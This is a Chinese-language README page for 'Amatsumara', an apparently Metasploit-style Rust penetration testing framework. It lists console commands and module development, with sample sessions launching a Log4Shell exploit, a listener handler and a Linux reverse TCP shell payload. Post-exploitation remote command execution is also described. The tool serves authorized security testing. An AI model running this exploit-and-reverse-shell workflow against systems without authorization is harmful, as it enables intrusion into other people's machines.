lorsupra/Amatsumara-Framework

GitHub: lorsupra/Amatsumara-Framework

一款基于 Rust 构建的轻量级渗透测试框架,通过原生共享库实现高性能的模块化漏洞利用与后渗透能力。

Stars: 0 | Forks: 0

# Amatsumara Framework

Amatsumara Logo

一个使用 Rust 构建的渗透测试框架

模块编译为原生共享库,并在运行时动态加载。

## 概述 Amatsumara 是一个为性能和安全性而构建的渗透测试框架。模块是通过 C FFI 加载的 `.so` 共享库 —— 只需将 `.so` 文件放入 modules 目录即可添加新功能。 | | 数量 | |---|---| | Exploit Modules | 6 | | Auxiliary Modules | 4 | | Utility Modules | 1 | | Post-Exploitation Modules | 1 | | Payload Generators | 2 | ### 功能特性 - **动态模块加载** —— 运行时加载 `.so` 模块,无需重新编译框架 - **AutoLHOST** —— 自动检测 VPN 接口 (tun0/tap0) - **Tab 补全** —— 支持命令、模块名称、选项、子命令的补全 - **Session 管理** —— 跨目标打开、后台运行、交互、终止 session - **Session 交互 API** —— Post 模块通过 `session_exec()` 在 session 中远程执行命令 - **后台作业** —— 使用 `-j` 在后台运行监听器 - **全局选项** —— 设置一次 `setg LHOST`,全局生效 - **编号搜索** —— `search` 结果带有编号,便于快速通过 `use 0` 选择 - **Async Runtime** —— 基于 Tokio 构建 ## AutoLHOST Amatsumara 会自动检测您活动的 VPN 接口 (tun0/tap0),并在加载模块时自动填充 LHOST。无需在每次利用前运行 `ip a`。禁用方法:`set autolhost false` ## 安装说明 **系统要求:** Rust 1.70+, Linux x86_64 ``` git clone https://github.com/lorsupra/Amatsumara-Framework.git cd Amatsumara-Framework cargo build --release ./target/release/amatsumara-console ``` ## 命令 ### 模块选择 | 命令 | 描述 | |---|---| | `search ` | 按名称/描述搜索模块。结果带有编号。 | | `use ` | 通过名称或搜索结果编号选择模块。 | | `info [name\|number]` | 显示模块详情。无参数 = 当前模块。 | | `back` | 取消选择当前模块。 | ### 选项 | 命令 | 描述 | |---|---| | `set ` / `forge ` | 设置模块选项。 | | `unset ` | 清除模块选项。 | | `setg ` | 设置全局选项(跨模块持久有效)。 | | `unsetg ` | 清除全局选项。 | | `set autolhost ` | 切换自动 LHOST 检测。 | | `options` | 显示当前模块选项。 | ### 执行 | 命令 | 描述 | |---|---| | `run` / `strike` | 执行选定的模块。 | | `run -j` | 作为后台作业执行。 | | `check` | 运行漏洞检查(如果模块支持)。 | ### Session 与 Job | 命令 | 描述 | |---|---| | `sessions -l` | 列出活动的 session。 | | `sessions -i ` | 与 session 交互。 | | `sessions -k ` | 终止 session(s)。 | | `jobs` | 列出后台作业。 | | `kill ` | 终止后台作业。 | 在 session 内:`background` 返回控制台,`exit` 关闭。 ### 显示 | 命令 | 描述 | |---|---| | `show exploits\|auxiliary\|payloads\|post\|all` | 按类型列出已加载的模块。 | | `help` / `?` | 显示帮助。 | | `banner` | 重新显示启动 Banner。 | | `exit` / `quit` | 退出框架。 | ## 用法 ### Exploit 工作流 ``` amatsumara > search log4j # Name Description - ---- ----------- 0 Apache Log4j RCE Log4Shell JNDI injection (CVE-2021-44228) amatsumara > use 0 [*] AutoLHOST: LHOST set to 10.10.14.5 (tun0) amatsumara Apache Log4j RCE (exploit) > forge RHOSTS 192.168.1.100 RHOSTS => 192.168.1.100 amatsumara Apache Log4j RCE (exploit) > strike [*] Launching module: Apache Log4j RCE ``` ### 使用全局选项的 Multi-Handler ``` amatsumara > setg LHOST 10.0.0.5 amatsumara > setg LPORT 4444 amatsumara > use Multi Handler amatsumara Multi Handler (utility) > run -j [*] Job 1 started in background amatsumara > jobs Id Name Running -- ---- ------- 1 Multi Handler 12s ``` ### 原生 Payload ``` amatsumara > use Linux x64 Reverse TCP Shell amatsumara Linux x64 Reverse TCP Shell (payload) > forge LHOST 10.0.0.5 amatsumara Linux x64 Reverse TCP Shell (payload) > forge LPORT 9001 amatsumara Linux x64 Reverse TCP Shell (payload) > strike [*] Connecting to 10.0.0.5:9001 ``` ## 架构 ``` Amatsumara-Framework/ +-- amatsumara-api/ # C FFI types (ModuleVTable, ModuleInfo, etc.) +-- amatsumara-core/ # Module loader, session manager, discovery +-- amatsumara-console/ # Interactive REPL, tab completion +-- kanayago/ # Payload generation engine +-- modules/ | +-- exploits/ # Exploit modules (.so + source) | +-- auxiliary/scanner/ # Scanner modules | +-- auxiliary/ # Standalone auxiliary modules | +-- utilities/ # Utility modules (handlers, etc.) | +-- post/ # Post-exploitation modules | +-- payloads/singles/ # Payload generators +-- pattern-create/ # Buffer overflow pattern generator +-- pattern-offset/ # Pattern offset finder ``` ### 模块加载 1. 框架在启动时递归扫描 `modules/` 目录中的 `.so` 文件 2. 加载每个库,调用 `amatsumara_module_init()` 获取 VTable 3. 通过 C FFI 读取元数据,按名称索引以供搜索/选择 4. 将新的 `.so` 放入 modules/ 并重启 —— 即可自动发现 ### Session Exploit 模块打开 TCP 连接,并将 session 元数据写入 `/tmp/amatsumara_sessions/`。控制台接管流的所有权。Session 独立持久存在 —— 可后台运行、稍后交互或终止。 Post-exploitation 模块通过 Session 交互 API 操作这些 session。框架在模块运行 `run()` 之前将 C 函数指针注入模块,允许其调用 `session_exec()` 在远程目标上执行命令并读回输出。Post 模块声明一个 `SESSION` 选项以指定要使用的 session。有关 Trampoline 架构和 `register_post_module!` 宏的详细信息,请参阅 [模块文档](docs/MODULES.md)。 ## 开发模块 每个模块是一个独立的 `cdylib` Rust crate,导出 `amatsumara_module_init() -> *const ModuleVTable`。 ``` mkdir -p modules/exploits/my_exploit/src ``` **Cargo.toml:** ``` [package] name = "my_exploit" version = "0.1.0" edition = "2021" [lib] crate-type = ["cdylib"] [dependencies] amatsumara-api = { path = "../../../amatsumara-api" } serde = { version = "1.0", features = ["derive"] } serde_json = "1.0" ``` **src/lib.rs** —— 参考任何现有模块的模式。关键点: - 使用 `amatsumara_api::CString` (repr(C)),而非 `std::ffi::CString` - 使用带有 `CString` 包装器的静态元数据字符串,指向 `.as_ptr()` - 选项以 JSON `*const c_char` 形式传递,使用 `serde_json` 解析 - 返回 `0` 表示成功,非零表示失败 **构建与部署:** ``` cd modules/exploits/my_exploit cargo build --release cp target/release/libmy_exploit.so . rm -rf target/ ``` ## 工具 ``` # Generate cyclic pattern for buffer overflow dev ./target/release/pattern-create -l 500 # Find offset of a pattern value ./target/release/pattern-offset -q 41386141 ``` ### 未来计划 - Staged payloads (meterpreter-style agent) - Resource scripts (batch command files) - Database integration for target/loot tracking - New exploit modules (added only after proper testing) ## 贡献 感兴趣的领域: 1. **Exploit Modules** —— 新的漏洞实现 2. **Protocol Libraries** —— SSH, SMB, RDP 实现 3. **Auxiliary Modules** —— 扫描器、爆破工具、枚举器 4. **Payloads** —— 新类型、Staged Payload、编码器 5. **测试** —— 针对易受攻击目标的验证 ## 许可证 BSD-3-Clause
标签:AutoLHOST, CVE模块, FFI, Payload生成, PE 加载器, Rust, Tokio异步, Web报告查看器, 会话管理, 共享库, 动态加载, 可视化界面, 命令行控制台, 威胁模拟, 渗透测试框架, 红队行动 (Red Teaming), 编程工具, 网络安全, 网络流量审计, 自动化攻击, 远程代码执行, 防御, 隐私保护